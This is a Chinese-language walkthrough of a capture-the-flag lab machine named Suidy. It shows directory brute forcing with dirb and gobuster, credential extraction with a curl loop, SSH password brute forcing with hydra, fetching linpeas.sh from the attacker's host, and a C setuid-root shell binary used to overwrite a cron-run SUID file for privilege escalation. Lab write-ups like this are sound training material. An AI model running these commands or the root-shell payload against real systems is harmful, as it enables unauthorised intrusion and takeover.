主机发现
sudo arp-scan -l
以临时管理员身份扫描并列出本地活动IP
靶机IP:192.168.90.108
开放端口
22/tcp open ssh
80/tcp open http
dirb爆破
curl 下来的信息很有限,也只有一个页面,那么我们爆破一下吧
dirb http://192.168.90.108
┌──(kali㉿kali)-[~/Desktop/Suidy]
└─$ dirb http://192.168.90.108
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Dec 5 10:25:48 2024
URL_BASE: http://192.168.90.108/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.90.108/ ----
+ http://192.168.90.108/index.html (CODE:200|SIZE:22)
+ http://192.168.90.108/robots.txt (CODE:200|SIZE:362)
-----------------
END_TIME: Thu Dec 5 10:25:52 2024
DOWNLOADED: 4612 - FOUND: 2
发现了一个robots.txt文件,curl下来看看
curl http://192.168.90.108/robots.txt
前半段
中间是很长的空行,如果在不curl下来(因为curl下来的内容会自动拉到最底)或者仔细一点的情况下很容易被忽略
后半段
是一个目录
┌──(kali㉿kali)-[~/Desktop/Suidy]
└─$ curl http://192.168.90.108/shehatesme/
She hates me because I FOUND THE REAL SECRET!
I put in this directory a lot of .txt files.
ONE of .txt files contains credentials like "theuser/thepass" to access to her system!
All that you need is an small dict from Seclist!
theuser/thepass很可能是用户和密码,先尝试一下
user
HMV2353IVI
哈哈,是的,但是作者的提示是这里目录里面有很多.txt,用户和密码可能在里面,让我们爆破
gobuster爆破
这里我尝试了几个字典,但是信息收集的不完全,导致后面提取不到用户名和密码
1:这个是我随便选的字典,能用但是信息不完全
2:后来我看到他说只需要seclists下的字典就行,但是好像还是不太行,不知道是不是我选的字典的问题。
for file in $(grep "Status: 200" 1.txt | cut -d ' ' -f 1 | cut -d '/' -f 2) ; do curl -s "http://192.168.90.108/shehatesme/${file}" ; done | sort -u | t
r '/' ':' > passwd.txt
提取信息并保存在passwd.txt文本中
hydra爆破了一下并没有爆破出用户名和密码
3:又换了一个,这个字典是看佬的wp选的,现在可以了。
sudo gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt -u http://192.168.90.108/shehatesme/ -x txt -o 1.txt
重新把结果保存重定向搭配passwd.txt,再次爆破
hydra -V -I -f -C passwd.txt ssh://192.168.90.108
出来了,验证了用户名和密码确实是这个
提权
从根目录查找特殊权限文件
find / -perm -u=s -type f 2>/dev/null
发现这个目录下面有个suidy特殊权限的文件
查看这个txt文件看看,查看不了,因为这个文件的属组和用户都是suidy,我们现在是theuser用户,所以访问不了,那么我们先执行一下这个特殊文件
发现变成suidy用户了
可以用linpeas.sh脚本扫描一下
脚本路径:
先在自己的kali攻击机上开启一个web服务,然后在靶机上下载文件
在靶机上tmp目录下载,因为我下载过了,所以就不展示了
wget http://192.168.90.230:8888/linpeas.sh
执行一下
./linpeas.sh
用pspy64脚本查看一下,他是一个进程监控工具
还是老规矩,上传到靶机
执行一下
发现有一分钟执行的脚本文件,那我们写一个bash脚本覆盖它,进行提权
nano exp.c
#include<stdio.h>
#include<unistd.h>
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
}
然后再编译
gcc exp.c -o suidyyyyy
把这个文件输出到suidyyyyy文件里面,然后再覆盖掉suidy里面的suidyyyyy这个文件
cp suidyyyyy /home/suidy/suidyyyyy
如果有报错,肯能是原来的suidyyyyy正在执行,exit退出一下,退出到theuser用户下执行
然后再次执行 ./suidyyyyy,就成功提权了